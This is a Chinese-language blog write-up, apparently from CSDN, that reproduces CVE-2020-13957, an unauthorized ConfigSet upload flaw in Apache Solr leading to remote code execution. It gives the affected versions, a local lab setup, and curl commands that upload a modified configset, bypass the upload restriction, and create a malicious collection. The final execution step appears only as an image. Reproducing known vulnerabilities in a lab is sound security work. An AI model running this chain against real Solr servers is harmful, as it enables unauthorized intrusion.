Apache Solr RCE 未授权上传漏洞(CVE-2020-13957)

Apache Solr RCE 未授权上传漏洞(CVE-2020-13957)

0x01 漏洞简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

Apache Solr 发布公告,旧版本的ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行)。

0x02 影响版本

  • Apache Solr6.6.0 -6.6.5
  • Apache Solr7.0.0 -7.7.3
  • Apache Solr8.0.0 -8.6.2

0x03 环境搭建

进入solr-8.2.0/bin目录下,使用命令启动一个cloud示例,默认安装即可。

solr.cmd start -e cloud -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Users\P\Desktop\solr\solr-8.2.0\example\example-DIH\solr"

显示到这一步表示安装完成

在这里插入图片描述

在浏览器输入http://127.0.0.1:8983/

0x04 漏洞复现

将solr目录\server\solr\configsets_default\conf下的solrconfig.xml中的params.resource.loader.enabled修改为true。(为远程命令执行做准备)

在这里插入图片描述

将conf目录文件打包成zip并上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=test"

在这里插入图片描述

创建成功http://127.0.0.1:8983/solr/admin/configs?action=LIST&omitHeader=true

在这里插入图片描述

根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制

curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=test1&baseConfigSet=test&configSetProp.immutable=false&wt=xml&omitHeader=true"

在这里插入图片描述

根据CREATE得到的新configset创建恶意collection

curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=test2&collection.configName=test1"

在这里插入图片描述

利用已上传的collection进行远程命令执行

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值